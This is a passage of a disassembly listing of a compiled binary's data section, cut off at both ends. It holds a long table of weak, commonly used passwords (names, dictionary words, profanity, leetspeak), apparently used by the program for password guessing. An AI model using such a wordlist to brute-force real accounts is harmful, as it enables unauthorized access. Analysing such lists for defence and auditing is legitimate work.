"pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" off_430050 dd offset aSlut ; DATA XREF: .data:00426B9Co ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" off_43005C dd offset aSmile ; DATA XREF: .data:off_426A38o ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername_0 ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_43BCE8 align 8 dword_4306F8 dd 10h ; DATA XREF: sub_40BC95+72w ; sub_40EC43+B02r ... aZimmerman db 'zimmerman',0 ; DATA XREF: .data:004306ECo align 4 aZap db 'zap',0 ; DATA XREF: .data:004306E8o aYellowstone db 'yellowstone',0 ; DATA XREF: .data:004306E4o aXyz db 'xyz',0 ; DATA XREF: .data:004306E0o aWisconsin db 'wisconsin',0 ; DATA XREF: .data:004306DCo align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: .data:004306D8o align 4 aWholesale db 'wholesale',0 ; DATA XREF: .data:004306D4o align 4 aTty db 'tty',0 ; DATA XREF: .data:004306D0o aTopography db 'topography',0 ; DATA XREF: .data:004306CCo align 4 aTemptation db 'temptation',0 ; DATA XREF: .data:004306C8o align 10h aTelephone db 'telephone',0 ; DATA XREF: .data:004306C4o align 4 aTangerine db 'tangerine',0 ; DATA XREF: .data:004306C0o align 4 aSys db 'sys',0 ; DATA XREF: .data:004306BCo aSupported db 'supported',0 ; DATA XREF: .data:004306B8o align 4 aSuperuser db 'superuser',0 ; DATA XREF: .data:004306B4o align 4 aSuperstage db 'superstage',0 ; DATA XREF: .data:004306B0o align 10h aSun db 'sun',0 ; DATA XREF: .data:004306ACo aStuttgart db 'stuttgart',0 ; DATA XREF: .data:004306A8o align 10h aStratford db 'stratford',0 ; DATA XREF: .data:004306A4o align 4 aStephanie db 'stephanie',0 ; DATA XREF: .data:004306A0o align 4 aSignature db 'signature',0 ; DATA XREF: .data:0043069Co align 4 aSheffield db 'sheffield',0 ; DATA XREF: .data:00430698o align 10h aSal db 'sal',0 ; DATA XREF: .data:00430694o aRochester db 'rochester',0 ; DATA XREF: .data:00430690o align 10h aRje db 'rje',0 ; DATA XREF: .data:0043068Co aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .data:00430688o align 4 aPub db 'pub',0 ; DATA XREF: .data:00430684o aProfessor db 'professor',0 ; DATA XREF: .data:00430680o align 4 aPrinceton db 'princeton',0 ; DATA XREF: .data:0043067Co align 10h aPondering db 'pondering',0 ; DATA XREF: .data:00430678o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: .data:00430674o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: .data:00430670o align 4 aPercolate db 'percolate',0 ; DATA XREF: .data:0043066Co align 10h aPam db 'pam',0 ; DATA XREF: .data:00430668o aPad db 'pad',0 ; DATA XREF: .data:00430664o aOceanography db 'oceanography',0 ; DATA XREF: .data:00430660o align 4 aNutrition db 'nutrition',0 ; DATA XREF: .data:0043065Co align 4 aNew db 'new',0 ; DATA XREF: .data:00430658o aNet db 'net',0 ; DATA XREF: .data:00430654o aMit db 'mit',0 ; DATA XREF: .data:00430650o aMgr db 'mgr',0 ; DATA XREF: .data:0043064Co aMacintosh db 'macintosh',0 ; DATA XREF: .data:00430648o align 10h aLiz db 'liz',0 ; DATA XREF: .data:00430644o aLee db 'lee',0 ; DATA XREF: .data:00430640o aLamination db 'lamination',0 ; DATA XREF: .data:0043063Co align 4 aKim db 'kim',0 ; DATA XREF: .data:00430638o aJoy db 'joy',0 ; DATA XREF: .data:00430630o aJen db 'jen',0 ; DATA XREF: .data:0043062Co aInnocuous db 'innocuous',0 ; DATA XREF: .data:00430628o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: .data:00430624o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:00430620o aHappening db 'happening',0 ; DATA XREF: .data:0043061Co align 4 aHal db 'hal',0 ; DATA XREF: .data:00430618o aGnu db 'gnu',0 ; DATA XREF: .data:00430614o aFun db 'fun',0 ; DATA XREF: .data:00430610o aForesight db 'foresight',0 ; DATA XREF: .data:0043060Co align 10h aFoolproof db 'foolproof',0 ; DATA XREF: .data:00430608o align 4 aExtension db 'extension',0 ; DATA XREF: .data:00430604o align 4 aEstablish db 'establish',0 ; DATA XREF: .data:00430600o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .data:004305FCo align 10h aElizabeth db 'elizabeth',0 ; DATA XREF: .data:004305F8o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: .data:004305F4o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: .data:004305F0o align 4 aDos db 'dos',0 ; DATA XREF: .data:004305ECo aDog db 'dog',0 ; DATA XREF: .data:004305E8o aDiscovery db 'discovery',0 ; DATA XREF: .data:004305E4o align 4 aDesperate db 'desperate',0 ; DATA XREF: .data:004305E0o align 4 aDeb db 'deb',0 ; DATA XREF: .data:004305DCo aCornelius db 'cornelius',0 ; DATA XREF: .data:004305D8o align 4 aCommrades db 'commrades',0 ; DATA XREF: .data:004305D4o align 10h aChristine db 'christine',0 ; DATA XREF: .data:004305D0o align 4 aChristina db 'christina',0 ; DATA XREF: .data:004305CCo align 4 aChemistry db 'chemistry',0 ; DATA XREF: .data:004305C8o align 4 aCatherine db 'catherine',0 ; DATA XREF: .data:004305C4o align 10h aCat db 'cat',0 ; DATA XREF: .data:004305C0o aCampanile db 'campanile',0 ; DATA XREF: .data:004305BCo align 10h aCad db 'cad',0 ; DATA XREF: .data:004305B8o aBsd db 'bsd',0 ; DATA XREF: .data:004305B4o aBob db 'bob',0 ; DATA XREF: .data:004305B0o aBicameral db 'bicameral',0 ; DATA XREF: .data:004305ACo align 4 aBeethoven db 'beethoven',0 ; DATA XREF: .data:004305A8o align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: .data:004305A4o align 10h aAsm db 'asm',0 ; DATA XREF: .data:004305A0o aAsd db 'asd',0 ; DATA XREF: .data:0043059Co aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .data:00430598o align 4 aAnn db 'ann',0 ; DATA XREF: .data:00430594o aAndromache db 'andromache',0 ; DATA XREF: .data:00430590o align 4 aAmy db 'amy',0 ; DATA XREF: .data:0043058Co aAmorphous db 'amorphous',0 ; DATA XREF: .data:00430588o align 4 aAma db 'ama',0 ; DATA XREF: .data:00430584o aAlf db 'alf',0 ; DATA XREF: .data:00430580o aAlbatross db 'albatross',0 ; DATA XREF: .data:0043057Co align 4 aAda db 'ada',0 ; DATA XREF: .data:00430578o aH4x0ring db 'h4x0ring',0 ; DATA XREF: .data:00430574o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .data:00430570o align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: .data:0043056Co align 10h aHaxing db 'haxing',0 ; DATA XREF: .data:00430568o align 4 aHax db 'hax',0 ; DATA XREF: .data:00430564o aWh0re db 'wh0re',0 ; DATA XREF: .data:00430560o align 4 aHo db 'ho',0 ; DATA XREF: .data:0043055Co align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: .data:00430558o align 10h aWindoze95 db 'windoze95',0 ; DATA XREF: .data:00430554o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .data:00430550o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .data:0043054Co align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .data:00430548o align 10h aWindozexp db 'windozexp',0 ; DATA XREF: .data:00430544o align 4 aWindows95 db 'windows95',0 ; DATA XREF: .data:00430540o align 4 aWindows98 db 'windows98',0 ; DATA XREF: .data:0043053Co align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .data:00430538o align 10h aWindows2k db 'windows2k',0 ; DATA XREF: .data:00430534o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .data:00430530o align 4 aMs db 'MS',0 ; DATA XREF: .data:0043052Co align 4 aM db 'M$',0 ; DATA XREF: .data:00430528o align 10h aBilly db 'billy',0 ; DATA XREF: .data:00430524o align 4 aWindose db 'windose',0 ; DATA XREF: .data:00430520o aWindoze db 'windoze',0 ; DATA XREF: .data:0043051Co aWindowz db 'windowz',0 ; DATA XREF: .data:00430518o aWileecoyote db 'wileecoyote',0 ; DATA XREF: .data:00430514o aDonaldduck db 'donaldduck',0 ; DATA XREF: .data:00430510o align 4 aAlexander db 'Alexander',0 ; DATA XREF: .data:0043050Co align 4 aAl3x db 'Al3x',0 ; DATA XREF: .data:00430508o align 4 aDud3 db 'dud3',0 ; DATA XREF: .data:00430504o align 4 aDudette db 'dudette',0 ; DATA XREF: .data:00430500o aD00d db 'd00d',0 ; DATA XREF: .data:004304FCo align 4 aLol db 'lol',0 ; DATA XREF: .data:004304F8o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .data:004304F4o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: .data:004304F0o align 10h aRosco db 'Rosco',0 ; DATA XREF: .data:004304ECo align 4 aRoss db 'Ross',0 ; DATA XREF: .data:004304E8o align 10h aTestin db 'testin',0 ; DATA XREF: .data:004304E4o align 4 aTester db 'tester',0 ; DATA XREF: .data:004304E0o align 10h a00000000 db '00000000',0 ; DATA XREF: .data:004304DCo align 4 aZulu db 'zulu',0 ; DATA XREF: .data:004304D8o align 4 aZombie db 'zombie',0 ; DATA XREF: .data:004304D4o align 4 aZmodem db 'zmodem',0 ; DATA XREF: .data:004304D0o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .data:004304CCo align 10h aZiggy db 'ziggy',0 ; DATA XREF: .data:004304C8o align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: .data:004304C4o align 4 aZebra db 'zebra',0 ; DATA XREF: .data:004304C0o align 4 aYoung db 'young',0 ; DATA XREF: .data:004304BCo align 4 aYosemite db 'yosemite',0 ; DATA XREF: .data:004304B8o align 10h aYolanda db 'yolanda',0 ; DATA XREF: .data:004304B4o aYellowst db 'yellowst',0 ; DATA XREF: .data:004304B0o align 4 aYellow db 'yellow',0 ; DATA XREF: .data:004304ACo align 4 aYankee db 'yankee',0 ; DATA XREF: .data:004304A8o align 4 aYang db 'yang',0 ; DATA XREF: .data:004304A4o align 4 aYaco db 'yaco',0 ; DATA XREF: .data:004304A0o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .data:0043049Co align 4 aXray db 'xray',0 ; DATA XREF: .data:00430498o align 4 aXmodem db 'xmodem',0 ; DATA XREF: 